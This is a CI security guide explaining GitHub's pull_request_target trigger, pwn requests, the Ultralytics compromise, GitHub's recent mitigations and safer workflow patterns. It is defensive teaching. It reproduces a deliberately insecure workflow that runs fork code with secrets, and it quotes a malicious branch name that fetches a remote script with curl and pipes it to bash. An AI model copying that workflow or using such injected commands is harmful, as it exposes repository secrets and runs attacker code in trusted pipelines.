# What pull_request_target runs with, and how to use it without a pwn request

> pull_request_target security comes down to what the trigger runs with. How a pwn request steals secrets, what GitHub changed, and patterns that hold.

Source: https://latchkey.dev/learn/ci-security/pull-request-target-security  
Updated: 2026-11-12

`pull_request_target` runs the workflow from your default branch with your secrets and a read/write `GITHUB_TOKEN`, even for a pull request from a fork, which is safe only as long as nothing from the pull request is executed. Checking out the pull request head and then building or testing it is the "pwn request": the fork's code runs with your credentials.

You want CI on pull requests from forks, and some of it needs a secret: a private registry, a coverage upload, a comment on the pull request. `pull_request` withholds secrets from forks, so `pull_request_target` looks like the fix. It is the trigger the Ultralytics and Nx compromises ran through, and GitHub has spent 2025 and 2026 putting guard rails around it.

In order: what the trigger runs with, how a pwn request works step by step, the Ultralytics incident from the primary write-ups, what GitHub changed and what those changes do not cover, and the two patterns that hold up.

## What each trigger runs, and with what

The difference is where the workflow file comes from and what it is given. `pull_request` runs the workflow from the pull request's merge commit, which a fork controls, so GitHub gives it a read-only token and no secrets. `pull_request_target` runs the workflow from the base repository's default branch, which you control, so GitHub gives it everything. GitHub's workflow syntax reference states that its `GITHUB_TOKEN` "is granted read/write repository permission, even when it is triggered from a public fork."

`workflow_run` belongs in the same row. It also runs from the default branch, and the events reference says it "is able to access secrets and write tokens, even if the previous workflow was not."

| Trigger | Workflow file from | `GITHUB_TOKEN` for a fork | Secrets for a fork | Cache |
| --- | --- | --- | --- | --- |
| `pull_request` | The pull request merge commit | Read-only | None | Writes stay in the pull request's merge ref |
| `pull_request_target` | The default branch | Read/write | Repository and organization secrets | Default branch scope, read-only |
| `workflow_run` | The default branch | Read/write | Repository and organization secrets | Default branch scope, read-only |

> From docs.github.com: events that trigger workflows, workflow syntax `permissions`, dependency caching, and "Securely using pull_request_target", all read 2026-11-12.

## The pwn request, step by step

GitHub's own example is four lines. The checkout alone runs nothing; the next step does. `make test` executes the `Makefile` the fork supplied, in a job holding your token and secrets. Any command that reads the checkout counts: `npm install` runs lifecycle scripts from the fork's `package.json`, a test runner loads its config, a linter loads plugins. GitHub's guidance is that the checked-out code must be "only ever inspected as data and never executed".

The same shape appears without `actions/checkout`: setting `repository:` to the fork, `git fetch` or `gh pr checkout` of the pull request ref, or downloading an artifact a fork's `pull_request` run uploaded and running what is in it.

```.github/workflows/insecure.yml
# INSECURE. GitHub's example, shown so you can recognize it.
on:
  pull_request_target:
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - name: Test
        run: make test
```

## Ultralytics, December 2024: a branch name as the payload

The `ultralytics` Python package had a formatting workflow on `pull_request_target`. It called the project's own composite action, which ran `git pull origin ${{ github.head_ref || github.ref }}` in a shell step. William Woodruff's analysis traces the injection to that line: pull request #18020 had a branch name that was itself a shell command, built with `${IFS}` in place of spaces, and it ran when the action spliced the name into the script, inside the privileged context.

Releases 8.3.41 and 8.3.42 were then published through the project's normal release workflow, and issue #18027 reported that 8.3.41 "will unknowingly execute an xmrig miner." Woodruff concludes the evidence "very strongly suggests that the attacker used a poisoned cache" to reach the release build. PyPI's analysis adds that 8.3.45 and 8.3.46 were uploaded directly with "an unrevoked PyPI API token that was still available to the GitHub Actions workflow".

No head checkout was involved. The pull request supplied a string instead of a `Makefile`, which is the same mistake: fork-controlled data executed with your credentials. [Script injection](/learn/ci-security/github-actions-script-injection) covers that half.

```Quoted from the Ultralytics analysis
# from ultralytics/actions action.yml, as quoted in the analysis
git pull origin ${{ github.head_ref || github.ref }}

# the malicious branch name of #18020, as the analysis prints it (elided)
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/...${IFS}|${IFS}bash)
```

## What GitHub changed in 2025 and 2026

Four changes now sit between a pwn request and your secrets. None of them replaces reading the workflow, and each has a gap worth knowing.

```actions/checkout v7.0.1 error, from src/unsafe-pr-checkout-helper.ts
Refusing to check out fork pull request code from a 'pull_request_target' workflow. This workflow runs with the base repository's GITHUB_TOKEN, secrets, default-branch cache scope, and runner access. Fetching and executing a fork's code in that trusted context commonly leads to "pwn request" vulnerabilities. To opt in, review the risks at https://gh.io/securely-using-pull_request_target and set 'allow-unsafe-pr-checkout: true' on the actions/checkout step.
```

| Change | Since | What it does not cover |
| --- | --- | --- |
| Workflow file and default checkout always from the default branch; environment branch rules evaluate against it | December 8, 2025 | Anything the workflow on the default branch chooses to fetch |
| `actions/checkout` refuses fork pull request code in `pull_request_target` and `workflow_run` unless `allow-unsafe-pr-checkout: true` | v7.0.0 | Workflows pinned to v6 or older; `git fetch`, `gh pr checkout`, downloaded artifacts; branches in your own repository |
| `pull_request_target`, `issue_comment`, `workflow_run` and other untrusted triggers get read-only access to the default-branch cache | June 26, 2026 | Jobs that declare a write-capable `cache-mode`, and anything the job restores |
| A default Actions policy blocks `pull_request_target` in public repositories | Enforced December 2, 2026, after brownouts on November 9 and 16 | Private and internal repositories, GitHub Enterprise Server, and any repository whose policy allows the event |

> Sources: GitHub Changelog 2025-11-07, 2026-06-26 and 2026-11-02, actions/checkout CHANGELOG.md and source at v7.0.1, and docs.github.com "Securely using pull_request_target", read 2026-11-12.

## Safe pattern: split the work with workflow_run

GitHub Security Lab's fix, published in 2021 and updated in 2026, is two workflows. The first runs on `pull_request`, builds and tests the fork's code with no secrets and a read-only token, and writes its results to an artifact. The second runs on `workflow_run` with the permissions it needs, downloads the artifact and acts on it as data. Its rule for the second half: "Artifacts resulting from untrusted PR data are themselves untrusted."

So validate every field before you use it. A fork can edit `pr-build.yml` itself, because `pull_request` runs the workflow from the merge commit, so the number in the artifact is whatever the fork wants it to be. Below it must be digits, and the report is posted as a comment body, never executed or sourced.

```.github/workflows/pr-build.yml and pr-comment.yml
# .github/workflows/pr-build.yml
name: pr-build
on: pull_request
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: make test > report.txt 2>&1 || true
      - env:
          PR: ${{ github.event.number }}
        run: echo "$PR" > pr-number.txt
      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
        with:
          name: pr-result
          path: |
            report.txt
            pr-number.txt

# .github/workflows/pr-comment.yml
on:
  workflow_run:
    workflows: [pr-build]
    types: [completed]
permissions:
  actions: read
  pull-requests: write
jobs:
  comment:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with:
          name: pr-result
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
      - env:
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}
        run: |
          pr=$(cat pr-number.txt)
          [[ "$pr" =~ ^[0-9]+$ ]] || { echo "bad PR number"; exit 1; }
          gh pr comment "$pr" --body-file report.txt
```

## When you must run fork code with secrets: a maintainer label

Some jobs genuinely need fork code and a secret together, such as an integration test against a private service. GitHub Security Lab's fallback is to run only when a maintainer applies a label such as `safe to test`, and it names the weakness itself: the check "is still prone to a race condition" because the author can push after the label is applied. Treat it as temporary.

Three things narrow that race. Trigger on the `labeled` event only. Check out `github.event.pull_request.head.sha`, the commit in that event's payload, rather than the branch, so a later push does not change what runs. And put the secret in an environment with required reviewers, so a person approves the specific run. On checkout v7 this also needs `allow-unsafe-pr-checkout: true`, which is the line a reviewer should look for, and from December 2, 2026 a public repository also needs an Actions policy that allows the trigger.

```.github/workflows/fork-integration.yml
on:
  pull_request_target:
    types: [labeled]
permissions:
  contents: read
jobs:
  integration:
    if: github.event.label.name == 'safe to test'
    runs-on: ubuntu-24.04
    environment: fork-integration   # required reviewers, holds the secret
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          allow-unsafe-pr-checkout: true
          persist-credentials: false
      - run: make integration-test
        env:
          SERVICE_TOKEN: ${{ secrets.SERVICE_TOKEN }}
```

## FAQ

### Why can't my GitHub Action comment on a pull request from a fork?

Because a `pull_request` run from a fork gets a read-only token whatever its `permissions` block asks for, so the comment call is refused. Do not switch to `pull_request_target` with a checkout to get the write back: use the `workflow_run` split above, where the build writes its report to an artifact and a second workflow posts it. The side-by-side of the two triggers is in [GitHub Actions security](/learn/ci-explained/ci-security-github-actions), and the 403 itself on [GITHUB_TOKEN read-only on fork pull requests](/learn/github-actions/github-actions-token-push-403-fork).

### Why are secrets not available in my workflow on a pull request from a fork?

Because GitHub withholds them on purpose: with the exception of `GITHUB_TOKEN`, secrets are not passed to workflows triggered from forks. Switching to `pull_request_target` to get them is how most pwn requests start. Use the `workflow_run` split instead; the details are on [secrets empty in fork pull requests](/learn/github-actions/gha-secret-not-available-fork-pr).

### Will GitHub block pull_request_target workflows?

In public repositories, yes, by default from December 2, 2026, after brownouts on November 9 and 16. A repository or organization can keep using the trigger by creating an Actions event policy that explicitly allows it. Private and internal repositories are not affected.

### Is it safe to use pull_request_target if I do not check out the pull request?

Mostly, provided nothing else brings pull request content into a shell. A title, branch name or body interpolated into `run:` is still code the author wrote, which is exactly how the Ultralytics compromise worked. Keep the token permissions minimal and pass every pull request field through an environment variable.

## References

- [GitHub Docs: Securely using pull_request_target (read 2026-11-12)](https://docs.github.com/en/actions/reference/security/securely-using-pull_request_target)
- [GitHub Security Lab: Preventing pwn requests](https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/)
- [GitHub Changelog: pull_request_target blocked by default December 2](https://github.blog/changelog/2026-11-02-pull_request_target-blocked-by-default-december-2)
- [William Woodruff: the Ultralytics injection, step by step](https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-injection)
- [PyPI Blog: supply-chain attack analysis, Ultralytics](https://blog.pypi.org/posts/2024-12-11-ultralytics-attack-analysis/)

---

Latchkey runs CI/CD that repairs its own failures. Agent entry points: https://latchkey.dev/agent.txt, https://latchkey.dev/openapi.json, https://latchkey.dev/llms.txt
